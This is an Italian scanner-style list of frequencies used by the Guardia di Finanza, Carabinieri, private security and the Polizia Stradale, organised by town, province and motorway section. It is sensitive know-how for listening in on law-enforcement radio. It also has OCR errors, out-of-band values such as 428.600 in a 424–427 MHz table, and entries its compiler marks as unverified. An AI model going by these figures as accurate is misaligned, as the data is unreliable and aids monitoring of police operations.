Nocera Inferiore	SA	78.950							
Nola	NA	79.175							
Noto	SR	76.775							
Novara		78.300							
Novi Ligure	AL	77.200							
Nuoro		78.625	78.950						
Olbia	SS	78.175							
Omegna	VB	78.975							
Opicina	TS	77.075	77.550						
Orgosolo	NU	78.700							
Orlo al Serio	BG	76.700							
Osimo	AN	78.575							
Ostia	RM	77.950	79.125	(entrambe da verificare)					
Ostuni	BR	78.050							
Ottana	NU	78.700							
Ozieri	SS	78.175							
Pachino	SR	76.775							
Padova		77.450	77.850	77.975	78.800	78.850	78.900		
Palermo		77.475	77.925	78.100	78.200	78.275	78.575		
Palma di Montichiaro	AG	77.700	78.000	(da verificare)					
Palmi	RC	78.700							
Parma		77.650							
Patti	ME	79.100							
Pavia		78.225							
Perugia		79.150							

Pesaro		78.550					
Pescara		77.850					
Peschiera del Garda	VR	77.450					
Pescia	PT	77.725					
Pese	TS	77.550					
Piacenza		77.400	77.450				
Piombino	LI	79.025					
Pisa		78.500	78.525				
Pisticci	MT	77.850	(da verificare)				
Pistoia		77.725					
Poggibonsi	SI	77. 925					
Polistena	RC	78.700					
Pompei	NA	79.175					
Ponte Chiasso	CO	77.125	(da verificare)				
Ponte Tresa .	VA	78.250					
Pontedera	PI	77.975					
Ponticelli	NA	79.150					
Pordenone		77.725					
Portici	NA	79.175					
Porto Ceresio	VA	78.250					
Porto Cervo	SS	78.175					
Porto Empedocle	AG	77.700					
Porto Tolle	RO	77.675					
Porto Torres	SS	78.175					
Portoferraio	LI	79.025					
Portogruaro	VE	78.625					
Potenza		77.100	(da verificare)				
Pozzuoli	NA	79.150					
Prato		77.600					
Pre	GE	79.075					
Priolo	SR	76.775					
Quinto al Mare	GE	79.075					
Ragusa		77. 925					
Rapallo	GE	78.950					
Ravenna		77.950					
Reggio Calabria		76.700	77.800	77.625	77.825	78.925	
Reggio Emilia		77.450	78.050				
Riccione	FO	77.650					
Rieti		77.475	77.800	(entrambe da veriticare)			
Rimini		77.650					
Riva del Garda	TN	78.475					
Rivoli	TO	78.775					
Roma		76.825	77.150	77.200	77.400	77.950	78.075
		78.100	78.150	78.475	78.525	78.675	78.775
		78.850	78.900	79.000	79.125	79.175	
Ronchi dei Legionari	GO	78.050					
Rosignano Marittimo	LI	79.025					
Rosignano Solvay	LI	79.025					
Rovereto Trentino	TN	78.475					
Rovigo		77.875					
Saint Vincent	AO	77.850	79.100				
Salerno		78 075					
San Benedetto deI Tronto	AP	78.250					
San Candido	BZ	77.550					
San Giorgio a Cremano	NA	79.175					
San Giovanni in Persiceto	BO	79.075					
San Giuseppe Vesuviano	NA	79.175					
San Remo	IM	78.975					
San Sabba	TS	77.075					
San Sepolcro	AR	77.900					
San Severo	FG	78.125					
Santa Maria Capua a Vetere	CE	78.150					

Senta Teresa di Gallura	SS	78.175						
SantAgata di Militello	ME	79.100						
SantAndrea	GO	78.050						
SantAngelo dei Lombardi	AV	77.875						
Sarno	SA	78.950						
Sarzana	SP	78.800						
Sassari		76.960	78.325					
Sassuolo	MO	77 500						
Savona		77.775	76.025	78.550	78.875			
Sciacca	AG	77.700						
Senigallia	AN	77.550	78.575					
Serra San Bruno	CZ	79.150						
Sessa Aurunca	CE	78.150						
Sesto Fiorentino	FI	77.550						
Sesto San Giovanni	MI	78.700						
Sestri Levante	GE	78.550	(da verificare)					
Siderno Marina	RC	78.700						
Siena		77.925	78.600 (da verificare)					
Siniscola	NU	78.700						
Siracusa		79.025	79.150					
Sondrio		78.500						
Sora	FR	77.350	(da verificare)					
Sorrento	NA	79.175						
Spoleto	PG	77.875						
Sulmona	AQ	77.575	77.700					
Taormina	ME	79.075						
Taranto		78.025	78.275	78.725	79.050			
Tarvisio	UD	77.300	78.075	(entrambe da verificare)				
Taurianova	RC	77.775	77.800					
Tempio Pausania	SS	77.050						
Teramo		77.575	77.650					
Termini merese	PA	78.875						
Termoli	CB	77.475	77.775					
Torni		79.175						
Terracina	LT	76.925	(da verificare)					
Tirano	SO	78.500						
Tivoli	RM	77.950	79.125	(entrambe da verificare)				
Tolmezzo	UD	77.950	78.075	(entrambe da verificare)				
Torino		76.700	77.325	77.925	77.975	78.125	78.475	78.575
		78.650	78.675	78.750	78.850	78.875	79.025	79.125
Torre Annunziata	NA	79.175						
Torre del Greco	NA	79.175						
Tortolì	NU	78.700						
Tortorici	ME	79.075						
Traforo Monte Bianco	AO	78.850	(da verificare)					
Trani	BA	78.325						
Trapani		78.275	78.825					
Trento		78.475						
Treviglio	BG	78.250						
Treviso		78.275						
Trieste		77.075	77.100	77.550	77.600	77.625	77.650	77.850
Udine		77.525						
Urbino	PS	78.550						
Varese		78.200						
Vasto	CH	77.575	78.050					
Velletri	RM	77.950	79.125	(entrambe da verificare)				
Venezia		77.525	77.975	78.825	78.850	79.175		
Ventimiglia	IM	78.850	78.975					
Verbania-Pallanza		78.975						
Vercelli		77.850						
Verona		77.825	77.975					
Viareggio	LU	78.625						

Vibo Valentia		79.150	
Vicenza		77.450	78.175
Vigevano	PV	77.975	
Villa San Giovanni	RC	78.700	78.925
Viterbo		78.875	
Vittoria	RG	79.100	
Voghera	PV	77.975	(da verificare)
Volterra	PI	77.975	

PRONTO INTERVENTO – G.d.F.

BANDA 152 - 154.5 MHz

LINK MASTER UHF - LIMITI DI BANDA 429 - 429.975 MHz

L'ASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AVVIENE A LIVELLO REGIONALE PER OGNI BACINO DI UTENZA

152.300
152.325
152.350
152.375
152.400
152.425
152.450
152.475
152.500
152.525
152.550
152.575
152.600
152.625
152.650
152.675
152.700
152.725
152.750
152.775
152.800
152.825
152.850
152.875
152.900
152.925
152.950
152.975
153.000
153.025
153.050
153.075
153.100
153.125
153.150
153.175
153.200
153.225
153.250
153.275
153.300
153.325
153.350
153 375
153.400
153.425
153.450
153.475

153.500
153.525
153.550
153.575
153.600
153.625
153.650
153.675
153.700
153.725
153.750
153.775
153.800
153.825
153.850
153.875
153.900
153.925
153.950
153.975
154.000
154.025
154.050
154.075
154.100
154.125
154.150
154.175
154.200
154.225
154.250
154.275
154.300
154.325
154.350
154.375
154.400
154.425
154.450
154.475
154.500

PRONTO INTERVENTO - CARABINIERI

BANDA 424 - 427 MHz

PER OGNI PROVINCIA VENGONO RIPORTATE LE PRINCIPALI LOCALITA DIPENDENTI

PROVINCIE E LOCALITA'	FREQUENZE					
Agrigento	425.550	425.925	426.100	426.225	426.425	426.000
Cammarata						
Canicattì						
Licata						
Sciacca						
Alessandria	425.900	426.050	426.125	426.300	426.950	426.000
Acqui Terme						
Casale Monferrato						
Novi Ligure						
Tortona						
Ancona	426.250	426.550	425.350	425.425	425.825	426.000
Fabriano						
Jesi						
Osimo						
Senigallia						
Aosta	425.175	425.250	425.475	425.525	425.850	426.000
Chatilìon-Saint Vincent						
Arezzo	426.250	426.550	426.775	426.875	426.925	426.000
Bibbiena						
Cortona						
San Giovanni Valdarno						
San Sepolcro						
Ascoli Piceno	425.025	425.100	425.200	425.500	425.625	426.000
Fermo						
Montegiorgio						
San Benedetto deI Tronto						
Asti	426.400	426.450	426.725	426.825	426.975	426.000
Canelli						
Avellino	425.375	425.650	425.700	425.775	426.150	426.000
Ariano Irpino						
Baleno						
Mirabella Eclano						
Montella						
Sant'Angelo dei Lombardi						
Bari	425.025	425.100	425.200	425.500	425.625	426.000
Altamura						
Andria						
Barletta						
Molfetta						
Monopoli						
Trani						

Belluno	425.375	425.650	425.700	425.775	426.150	426.000
Cortina d'Ampezzo						
Feltre						
Benevento	425.175	425.250	425.475	425.525	425.850	426.000
Cerreto Sannita						
Montesarchio						
San Bartolomeo in Galdo						
Bergamo	425.950	426.200	426.325	426.800	426.900	426.000
Clusone						
Orio al Serio (aeroporto)						
Treviglio						
Zogno						
Biella	425.400	426.000				
Bologna	425.550	425.925	426.100	426.225	426.425	426.000
Imola						
Medicina						
Molinella						
San Giovanni in Persiceto						
Vergato						
Bolzano	425.275	425.325	425.400	425.575	425.725	426.000
Bressanone						
Brunico						
Egna						
Merano						
Ortisei						
San Candido						
Silandro						
Vipiteno						
Brescia	426.400	426.450	426.725	426.625	426.975	426.000
Breno						
Chiari						
Desenzano						
Gardone Val Trompia						
Ghedi (aeroporto)						
Salò						
Verolanuova						
Brindisi	425.000	425.050	425.150	425.600	425.675	426.000
Francavilla Fontana						
Fasano						
Cagliari	425.800	425.675	426.275	426.375	426.600	426.000
Carbonia						
Dolianova						
Iglesias						
Quartu Sant'Elena						
Sanluri						
Villacidro						
Caltanissetta	426.250	426.550	426.775	426.875	426.925	426.000
Gela						
Mussumeli						
Campobasso	426.350	426.625	426.675	426.750	426.650	426.000
Larino						
Termali						

Caserta 425.550 425.925 426.100 426.225 426.425 426.000
Aversa
Capua
Maddaloni
Mondragone
Piedimonte Matese
Santa Maria Capua Vetere

Catania 425.025 425.100 425.200 425.500 425.625 426.000
Acireale
Caltagirone
Giarre
Gravina di Catania
Paternò
Randazzo
Vizzini

Catanzaro 426.350 426.625 426.675 426.750 426.850 426.000
Lamezia Terme
Serra San Bruno
Soverato
Tropea

Chieti 425.950 426.200 426.325 426.600 426.900 426.000
Atessa
Lanciano
Ortona
Vasto

Como 425.375 425.650 425.700 425.775 426.150 426.000
Cantù
Menaggio

Cosenza 426.400 426.450 426.725 426.825 426.975 426.000
Castrovillari
Corigliano Calabro
Paola
Rogliano
Rossano
San Marco Argentano
Scalea

Cremona 426.250 426.560 425.350 425.425 425.825 426.000
Casalmaggiore
Crema

Crotone 425.175 425.250 425.475 425.525 425.850 426.000 Cirò
Marina

Cuneo 425.375 425.650 425.700 425.775 426.150 426.000
Alba
Borgo San Dalmazzo
Brà
Fossano
Mondovi
Saluzzo
Savigliano

Enna 425.175 425.250 425.475 425.525 425.850 426.000
Nicosia
Piazza Armerina

Ferrara 425.275 425.325 425.400 425.575 425.725 426.000
Cento
Comacchio
Copparo
Portomaggiore

Firenze 425.275 425.325 425.400 425.575 425.725 426.000
Borgo San Lorenzo
Empoli
Figline Valdarno
Pontassieve
Signa

Foggia 425.275 425.325 425.400 425.575 425.725 426.000
Cerignola
Lucera
Manfredonia
San Severo
Vico deI Gargano

Forlì 425.375 425.650 425.700 425.775 426.150 426.000
Cesena
Meldola

Frosinone 425.000 425.050 425.150 425.500 425.675 426.000
Alatri
Anagni
Cassino
Pontecorvo
Sora

Genova 426.350 426.625 426.675 426.750 426.850 426.000
Chiavari
Sampierdarena
Santa Margherita Ligure
Sestri Levante

Gorizia 426.400 426.450 426.725 426.625 426.975 426.000
Cormons
Gradisca d'Isonzo
Monfalcone

Grosseto 425.800 425.675 426.275 426.375 426.600 426.000
Arcidosso
Massa Marittima
Orbetallo
Pitigliano
Sorano

Imperia 425.950 426.200 426.325 426.600 426.900 426 000
Bordighera
San Remo
Ventimiglia

Isernia 426.400 426.450 426.725 426.825 426.975 426.000
Agnone

Le Spezia 426.250 426.550 425.350 425.425 425.825 426.000
Sarzana

Latina	425.025	425.100	425.200	425.500	425.625	426.000
Aprilia						
Formia						
Gaeta						
Terracina						
Lecce	425.450	425.750	426.175	426.575	426.650	426.000
Casarano						
Gallipoli						
Maglie						
Tricase						
Lecco	425.175	425.250	425.475	425.525	425.850	426.000
Livorno	425.550	425.925	426.100	426.225	426.425	426.000
Cecina						
Piombino						
Portoferraio						
Lodi	425.025	425.100	425.200	425.500	425.625	426.000
Codogno						
Lucca	425.025	425.100	425.200	425.500	425.625	426.000
Castelnuovo di Garfagnana						
Viareggio						
L’Aquila	425.900	426.050	426.125	426.300	426.950	426.000
Avezzano						
Castei di Sangro						
Sulmona						
Tagliacozzo						
Macerata	425.000	425.050	425.150	425.600	425.675	426.000
Camerino						
Civitanova Marche						
Tolentino						
Mantova	426.350	426.625	426.675	426.750	426.850	426.000
Gonzaga						
Viadana						
Massa	425.000	425.050	425.150	425.600	425.675	426.000
Carrara						
Pontremoli						
Matera	425.950	426.200	426.325	426.800	426.900	426.000
Pisticci						
Policoro						
Tricarico						
Messina	425.000	425.050	425.150	425.600	425.675	426.000
Messina Sud (loc. Tremestieri)						
Barcellona Pozzo di Gotto						
Milazzo						
Mistretta						
Patti						
Sant'Agata di Militello						
Santo Stefano di Camastra						
Taormina						
Milano	425.450	425.750	425.075	425.125	425.225	426.000
Milano (aeroporto)	426.175	426.575	426.650			

Abbiategrasso	425.300	425.975	426.475	426.525	426.700	426.000
Corsico						
San Donato Milanese						
Monza	425.000	425.050	425.150	425.600	425.675	426.000
Cassano d'Adda						
Desio						
Legnano						
Rho						
Sesto San Giovanni						
Seregno						
Modena	424.575	424.675	424.725	424.850	425.300	426.000
Carpi						
Pavullo nel Frignano						
Sassuolo						
Napoli	426.250	426.550	425.350	425.425	425.625	426.000
Ischia	426.775	426.875	426.925			
Pozzuoli	425.300	425.975	426.475	426.525	426.700	426.000
Pomigliano d'Arco	425.800	425.875	426.275	426.375	426.600	426.000
Casoria						
Castellammare di Stabia						
Giugliano in Campania						
Noia						
Sorrento						
Torre Annunziata						
Torre del Greco						
Novara	426.350	426.625	426.675	426.850	426.000	
Arona						
Domodossola						
Nuoro	426.400	426.450	426.725	426.825	426.975	426.000
Bitti						
Is ili						
lerzu						
Lanusei						
Macomer						
Ottone						
Siniscola						
Sorgono						
Oristano	425.550	425.925	426.100	426.225	426.425	426.000
Ghilarza						
Mogoro						
Padova	425.800	425.875	426.275	426.375	426.600	426.000
Abano Terme						
Cittadella						
Este						
Piove di Sacco						
Palermo	425.450	425.750	425.075	425.125	425.225	426.000
Begheria	426.175	426.575	426.650			
Carini	425.300	425.975	426.475	426.525	426.700	426.000
Cefalù						
Corleone						
Lercara Friddi						
Misilmeri						
Monreale						
Partinico						
Petralia Sottana						

Termini Imerese						
Parma	424.500	424.650	424.700	424.775	424.875	426.000
Borgo Val di Taro						
Fidenza						
Salsomaggiore						
Pavia	425.800	425.875	426.275	426.375	428.600	426.000
Stradella						
Vigevano						
Voghera						
Perugia	425.950	426.200	426.325	426.800	426.900	426.000
Assisi						
Città delle Pieve						
Città di Castello						
Foligno						
Gubbio						
Norcia						
Spoleto						
Todi						
Pesaro	425.450	425.750	425.075	425.125	425.225	426.000
Fano						
Novafeltria						
Pescara	425.800	425.875	426.275	426.375	426.600	426.000
Penne						
Popoli						
Piacenza	424.550	424.625	424.825	424.925	424.975	426.000
Bobbio Piacentino						
Fiorenzuola dAida						
Pisa	425.375	425.650	425.700	425.775	426.150	426.000
Pontedera						
San Miniato						
Volterra						
Pistoia	425.175	425.250	425.475	425.525	425.650	426.000
Montecatini Terme						
San Marcello Pistoiese						
Pordenone	425.900	426.050	426.125	426.300	426.950	426.000
Sacile						
Potenza	425.450	425.750	425.075	425.125	425.225	426.000
Acerenza						
Lagonegro						
Melfi						
Senise						
Venosa						
Viggiano						
Prato	425.950	426.200	426.325	426.800	426.900	426.000
Ragusa	425.375	425.650	425.700	425.775	426.150	426.000
Modica						
Vittoria						

Ravenna	425.175	425.250	425.475	425.525	425.850	426.000
Cervia						
Faenza						
Lugo						
Reggio Calabria	425.275	425.325	425.400	425.575	425.725	426.000
Bianco						
Gioia Tauro						
Locri						
Melito di Porto Salvo						
Palmi						
Roccella Ionica						
Taurianova						
Villa San Giovanni						
Reggio Emilia	424.525	424.600	424.800	424.900	424.950	426 000
Castelnuovo nè Monti						
Guastalla						
Rieti	425.175	425.250	425.475	425.525	425.850	426.000
Cittaducale						
Poggio Mirteto						
Rimini	425.025	425.100	425.200	425.500	425.625	426.000
Riccione						
Roma	425.450	425.750	425.075	425.125	425.225	426.000
Roma (aeroporto Ciampino)	426.175	426.575	426.650			
Roma (aeroporto Fiumicino)	425.300	425.975	426.475	426.525	426.700	426.000
Roma Cassia	425.275	425.325	425.400	425.575	425.725	426.000
Bracciano						
Civitavecchia						
Monterotondo						
Subiaco						
Tivoli						
Frascati	425.375	425.650	425.700	425.775	426.150	426.000
Anzio						
Castel Gandolfo						
Colleferro						
Ostia						
Palestrina						
Pomezia						
Velletri						
Rovigo	426.250	426.550	426.775	426.675	426.925	426.000
Adria						
Castelmassa						
Salerno	425.900	426.050	426.125	426.300	426.950	426.000
Agropoli						
Amalfi						
Battipaglia						
Eboli						
Nocera Inferiore						
Sala Consilina						
Sapri						
Vallo della Lucania						
Sassari	426.250	426.550	426.775	426.875	426.925	426.000
Alghero						
Bono						
Bonarva						

Valledoria						
Olbia						
Ozieri						
Porto Torres						
Tempio Pausania						
Savona	425.450	425.750	426.175	426.575	426.650	426.000
Alassio						
Albenga						
Cairo Montenotte						
Siena	425.900	426.050	426.125	426.300	426.950	426.000
Abbadia San Salvatore						
Montalcino						
Montepulciano						
Poggibonsi						
Siracusa	425.800	425.875	426.275	426.375	426.600	426.000
Augusta						
Avola						
Lentini						
Noto						
Sondrio	426.250	426.550	426.775	426.675	426.925	426.000
Chiavenna						
Tirano						
Taranto	426.250	426.550	426.775	426.875	426.925	426.000
Castellaneta						
Manduria						
Martina Franca						
Teramo	425.550	425.925	425.100	426.225	426.425	426 000
Giulianova						
Nereto						
Terni	426.400	426.450	426.725	426.825	426.975	426.000
Amelia						
Orvieto						
Torino	426.250	426.550	425.350	425.425	425.825	426.000
Chieri	426.775	426.875	426.925			
Chivasso	425.300	425.975	426.475	426.525	426.700	426.000
Ivrea						
Moncalieri						
Pinerolo						
Rivoli						
Susa						
Venaria Reale						
Trapani	425.950	426.200	426.325	426.800	426.900	426.000
Alcamo						
Castelvetrano						
Marsala						
Mazara del Vallo						
Trento	426.350	426.625	426.675	426.750	426.850	426.000
Borgo Valsugana						
Cavalese						
Cles						
Riva del Garda						
Rovereto Trentino						

Treviso	425.025	425.100	425.200	425.500	425.625	426.000
Castelfranco Veneto						
Conegliano Veneto						
Vittorio Veneto						
Trieste	426.350	426.625	426.675	426.750	426.850	426.000
Aurisina						
Muggia						
Udine	425.950	426.200	426.325	426 800	426.900	426.000
Cividale del Friuli						
Palmanova						
Tarvisio						
Tolmezzo						
Varese	425.550	425.925	426.100	428.225	426.425	426.000
Busto Arsizio						
Gallarate						
Luino						
Saronno						
Venezia	425.450	425.150	426.175	428.575	426.650	426 000
Chioggia						
Mestre						
Portogruaro						
Verbania	426.750	426.000				
Vercelli	425.275	425.325	425.575	425.725	426.000	
Varallo Sesia						
Verona	425.900	426.050	426.125	426.300	426.950	426.000
Caprino Veronese						
Legnago						
San Bonifacio						
Villafranca di Verona						
Vibo Valentia	425.550	425.925	426.100	426.225	426.425	426.000
Vicenza	425.000	425.050	425.150	425.600	425.675	426.000
Bassano del Grappa						
Schio						
Thiene						
Valdagno						
Viterbo	426.350	426.625	428.675	426.750	426.850	428.000
Civita Castellana						
Montef iascone						
Ronciglione						
Tuscania						

Sono inoltre frequenze nazionali comuni a tutte le provincie: 426.025 426.075 426.475

FREQUENZE PER IMIPIEGO AERONAUTICO : Civile Vhf 121.350 - Militare Uhf 292.900

ALTRI SERVIZI SONO OPERATI VI ENTRO I LIMITI DI BANDA :
154.600 - 155.975 170.000 - 171.975 173.000- 174.000 MHz

VIGILANZA

BANDA 169 MHz

LINK MASTER UHF - COMPRESI NELLA BANDA CIVILE UHF
440.925 441.200 (3a frequenza non disponibile)

ASSEGNAZIONE	FREQUENZE
Nazionale	169.925
Nazionale	169.937,5
Nazionale	169.950

ARTERIE STRADALI
PRONTO INTERVENTO – POLIZIA STRADALE

BANDA 76 -79 MHz

LINK MASTER UHF - LIMITI DI BANDA 434 - 435 443 - 444 MHz

PER OGNI PROVINCIA VENGONO RIPORTATI I DISTACCAMENTI DIPENDENTI

PROVINCIE E LOCALITA’	FREQUENZE
Agrigento	78.325
Canicattì	
Sciacca	
Alessandria	77.275 77.500
Acqui Terme	
Casale Monferrato	
Ovada	
Serravalle Scrivia	
Tortona	
Valenza	
Ancona	76.875 78.025
Fabriano	
Jesi	
Senigallia	
Aosta	78.575
Courmayeur	
Entreves	
Poni Saint Martin	
Arezzo	77.400 77.425 78.700 78.775
Poppi	
San Giovanni Valdarno	
Ascoli Piceno	76.875 77.625
Amandola	
Fermo	
Porto San Giorgio	
San Benedetto deI Tronto	
Asti	77.275 78.000
Nizza Monferrato	
Avellino	77.500 (da verificare)
Grottaminarda	
Mercogliano	
Bari	78.075
Barletta	
Castellana Grotte	
Gioia del Colle	
Ruvo di Puglia	
Spinazzola	
Trani	
Belluno	77.600 78.000
Cortina d'Ampezzo (località Maion)	

Feltre

Benevento 77.500 (da verificare)

Bergamo 78.075 79.025
Seriate (casello autostradale)
Treviglio

Biella 77.275 79.150

Bologna 77.800
Bologna (casello autostradale — Bologna centro)
Borgo Panigale
Casalecchio di Reno
Imola
Malalbergo (caselle autostradale — Altedo)
Piano del Voglio
San Benedetto Val di Sambro (casella autostradale — Pian del Voglio)

Bolzano 77.600 78.000
Bressanone
Brunico
Merano
San Candido
Vipiteno

Brescia 77.150 79.025
Darfo — Boario Terme
Chiari
Desenzano
Iseo
Montichiari
Salò

Brindisi 78.075
Fasano

Cagliari 77.775 78.600
Muravera
Sanluri

Caltanissetta 77.725 78.325
Gela

Campobasso 77.125 77.150
Termoli

Caserta 77.500 (da verificare)
Caserta (caselle autostradale — Caserta nord)
Capua
Mondragone

Catania 77.350 77.875 78.525
Caltagirone
Randazzo

Catanzaro 77.400
Catanzaro (località Viadotto Fiumarella-Gagliano)
Lamezia Terme (località SantEufemia Lamezia)
Soverato

Chieti 77.125 77.150

Lanciano
Ortona
San Salvo (casella autostradale — Vasto sud)
Vasto

Como 78 550 79.025

Cosenza 77.400
Frascineto (svincolo autostradale)
Paola
Rende (frazione Quattromiglia)
Rossano (contrada Frasso)
Scalea
Trebisacce

Cremona 77.300 77.600 79.025
Crema
Casalmaggiore
Pizzighettone

Crotone 77.400

Cuneo 76.775 77.275
Ceva
Cherasco
Saluzzo

Enna 77.875 78.525
Catenanuova (svincolo autostrada)
Nicosia

Ferrara 77.800 78.200
Argenta
Codigoro

Firenze 77.400 77.425 78.700 78.775
Empoli
Sesto Fiorentino (casello autostradale — Firenze nord)

Foggia 78.075
Foggia (casello autostradale — Foggia)
Cerignola
San Severo
Vieste

Forlì 77.800.
Forlì (casello autostradale Forlì)
Bagno di Romagna (località San Pietro in Bagno)
Cesena
Rocca San Casciano

Frosinone 78.125
Frosinone (casello autostradale — Frosinone)
Cassino
Sora

Genova 78.625 78.925
Chiavari — Lavagna
Sampierdarena

Gorizia 77.300
Monfalcone

Grosseto 77.400 77.425 78.700 76.775
Arcidosso
Massa Marittima
Orbetello

Imperia 78.825 78.850 78.925
Imperia (casello autostradale — imperia ovest)
San Remo
Ventimiglia

Isernia 77.125
Agnone

La Spezia 78.625 78.925
Brugnato

Latina 78.125 78.300
Aprilia
Formia
Terracina

Lecce 78.075
Maglie

Lecco 78.550 79.025
Colico

Livorno 77.400 77.425 78.700 78.775 79.025 (isola d'Elba)
Campiglia Marittima (località Venturina)
Cecina
Portoferraio
Rosignano Marittimo (casello autostradale Vada)

Lodi 79.025 79 100
Guardamiglio (casello autostradale — Piacenza nord)

Lucca 77.400 77.425 77.525 78.700 78.775
Bagni di Lucca (località Debbio-Fornoli)
Viareggio

L'Aquila 77.125
Avezzano
Carsoti
Castel di Sangro
Pratola Patigna
Sulmona

Macerata 76.875
Camerino
Civitanova Marche
Porto Recanati

Mantova 77.200 79.025
Ostiglia

Massa 77.400 77.425 78.700 78.775
Aulla (locatità Barcara)

Matera 77.175 (da verificare)
Poticoro
Scanzano Jonico

Messina 77.875 78.525
Barcellona Pozzo di Gotta
Giardini Naxos (svincolo autostradale — Taormina sud)
SantAgata di Militello

Milano 79.025 79.100
Arcore
Assago (tangenziale Milano ovest)
Magenta
San Donato Milanese
Seregno

Modena 77.800
Mirandota
Pavullo nel Fngnano

Napoli 77.500 77.575
Nota
Pozzuoli
Sorrento

Novara 77.275 78.950
Arona
Borgomanera
Domodossola
Romagnano Sesia (casello autostradale)

Nuoro 78.600
Bitti
Fonni
Laconi
Lanusei
Macomer
Orosei
Ottona
Siniscola

Oristano 78.600

Padova 77.700 78.525 78.575
Piove di Sacco

Palermo 77.725 78.325
Campofelice di Roccella (svincolo Bonfornello)
Cefalù (contrada Sante Lucia)
Corleone
Lercara Fnddi
Termini Imerese

Parma 77.800
Bercato
Fidenza
Fornovo di Taro

Pavia 78.175 79.025
Stradella
Vigevano
Voghera

Perugia 77.250 78.300
Castiglione deI Lago

Città di Castello
Foligno
Todi

Pesaro 76.875
Cagli
Fano
Novafeltria
Urbino

Pescara 77.125
Bolognano
Città SantAngelo (località Marina di Città Sant'Angelo)
Penne

Piacenza 77.800

Pisa 77.400 77.425 78.700 78.775
Volterrra

Pistoia 77.400 77.425 78.700 78.775
Piave a Nievole (casello autostradale — Montecatini Terme)
San Marcello Pistoiese

Pordenone 77.300
Spilimbergo

Potenza 77.175 (da verificare)
Lagonegro
Melfi (località Valleverde)
Moliterno

Prato 77.400 77.425 78.700 78.775

Ragusa 77.875 78.525
Vittoria

Ravenna 77.800
Faenza
Lugo

Reggio Calabria 77.400 77.900
Brancaleone
Palmi (contrada San Gaetano)
Siderno
Villa San Giovanni

Reggio Emilia 77.800
Casteinovo nè Monti
Guastalla

Rieti 77.800 78.125
Amatrice
Fara in Sabina (località Passo Corese)

Rimini 77.800
Riccione

Roma 77.950 78.025 78.075 78.125 79.175
Albano Laziale
Cerveteri
Civitavecchia

Colleferro
Fiano Romano (caselle autostradale Roma nord)
Settabagni
Tivoli
Velletri

Rovigo 77.700 78.525 78.575
Adria
Badia Polesine
Roverdicrè (caselle autostradale)

Salerno 77.500 (da verificare)
Angri
Eboli
Sala Consilina
Sapri
Vallo della Lucania
Vecite Santa Caterina

Sassari 77.775 78.600
Olbia
Ozieri
Tempio Pausania

Savona 78.825 78.925
Albenga
Carcare
Finale Ligure

Siena 77.400 77.425 78.700 78.775
Montepulciano

Siracusa 77.875 78.525 78.575
Lentini
Noto

Sondrio 77.450 (da verificare) 78.275 79.025
Chiavenna
Tirano

Taranto 78.075
Manduria
Palagiano (caselle aulostradale — Grottaglie)

Teramo 77.125
Giulianova
Pineto

Terni 77.250 78.300
Orvieto
Orvieto scalo

Torino 77.275 77.925 78.525
Chivasso
Pinerolo
Susa

Trapani 78.325
Alcamo
Castelvetrano
Marsala

Trento	77.600
Cavalese	
Male	
Riva del Garda	
Treviso	77.700 78.525 78.575
Castelfranco Veneto	
Villorba	
Vittorio Veneto	
Trieste	77.300
Udine	77.300
Amaro	
Cervignano del Friuli	
Pontebba	
Tolmezzo	
Varese	78.900 79.025
Busto Arsizio	
Luino	
Venezia	77.700 78.525 78.575
Venezia — Mestre	77.725 (Mestre) 77.750 (San Donà di Piave)
Portogruaro	
San Donà di Piave	
Verbania	77.275 78.950
Verbania (località Pallanza)	
Vercelli	77.275 79.150
Varallo Sesia	
Villarboit (autostrada Serenissima)	
Verona	77.700 78.525 78.575
Bardolino	
Legnago	
Vibo Valentia	77.400
Vicenza	77.700 78.525 78.575
Bassano del Grappa	
Schio	
Viterbo	78.125 79.125
Olvita Castellana	
Monterosi	
Tarquinia	

AUTOSTRADE

PRONTO INTERVENTO – POLIZIA STRADALE

BANDA 76 -79 MHz

AUTOSTRADE	**FREQUENZE**	**TRATTE**
A 1	78.350	Milano - Lodi
	78.425	Lodi - Parma
	78.375	Reggio Emilia - Sasso Marconi (BO)
	78.425	Sasso Marconi (BO) - Firenze
	78.400	Firenze - Chiusi (SI)
	78.425	Chiusi (SI) - Roma
	78.425	Roma - Frosinone
	78.400	Frosinone - San Vittore (FR)
	78.350	San Vittore (FR) - Napoli
A 3	78.400 (da verificare)	Napoli -?
	78.750	Salerno - Lauria (PZ)
	78.350 (da verificare)	Lauria (PZ) - Vibo Valentia
	78.850	Vibo Valentia - Reggio Calabria
A 4	79.150	Torino - Milano (bari- Ghisolfa)
	78.350	Milano (barriera Ghisolfa - Milano est)
	78.400	Agrate Brianza (MI) - Brescia
	78.350	Brescia - Padova est
	78.400 - 77.700	Padova est - Mestre (VE)
	78.425	Mestre (VE) - Portogruaro (VE)
	78.425	Latisana (UD) - Trieste
A 5	76.900	Torino nord - Aosta
A 6	78.450	Carmagnola (TO) - Carcare (SV)
	78.925 - 78.825	Altare Carcere (SV) - Savona
A 7	78.350	Milano - Serravalle Scrivia (AL)
	78.400	Serravalle Scrivia (AL) - Genova
A 8	78.350	Milano nord - Varese *I* Sesto Calende (VA)
A 9 .	78.350	Milano nord - Chiasso (CO) valico Brogeda
A 10	78.375	Genova - Savona
	78.350	Savona - Ventimiglia (IM) valico doganale
A il	78.350	Firenze - Lucca
	78.375	Lucca - Pisa nord
A 12	78.400	Genova - Sestri Levante (GE)
	78.375	Sestri Levante (GE) - Livorno
	non disponibile	Livorno - Roma
	78.400	Roma (barriera Aurelia) - Roma
A 13	78.400	Bologna - Padova sud
A 14	78.375	Bologna - Imola (BO)
	78.350<>78.400 (sim.)	Cattolica (RN) - Ancona
	78.425	Ancona - San Benedetto del Tronto
	78.350<>78.425 (sim.)	San Benedetto del Tronto - Pescara
	78.375	Pescara - Termoli Molise (CB)
	78.450	Termoli Molise - San Severo (FG)
	78.400	San Severo (FG) - Cerignola (FG)
	78.450	Cerignola (FG)- Taranto
A 15	78.450	Parma - Le Spezia
A 16	78.400	Napoli est - Benevento
	78.425 (da verificaire)	Benevento - Candela <FG)
	78.450	Candela (FG) - Canosa di Puglia (BA)
A 18	78.525	Messina - Catania
A 19	78.325 - 78.525	Palermo - Catania
A 20	78.325 - 78.525	Messina - Palermo

A 21	78.450	Torino (barriera Trofarello) - Piacenza
	77.300	Piacenza - Brescia centro
A 22	77.800 - 172.625	Soc. Autostrade Brennero (BZ) - Trento
	78.525 - 172.625	Soc. Autostrade Trento - Verona
	77.700	Verona - Mantova
	77.800	Mantova - Modena
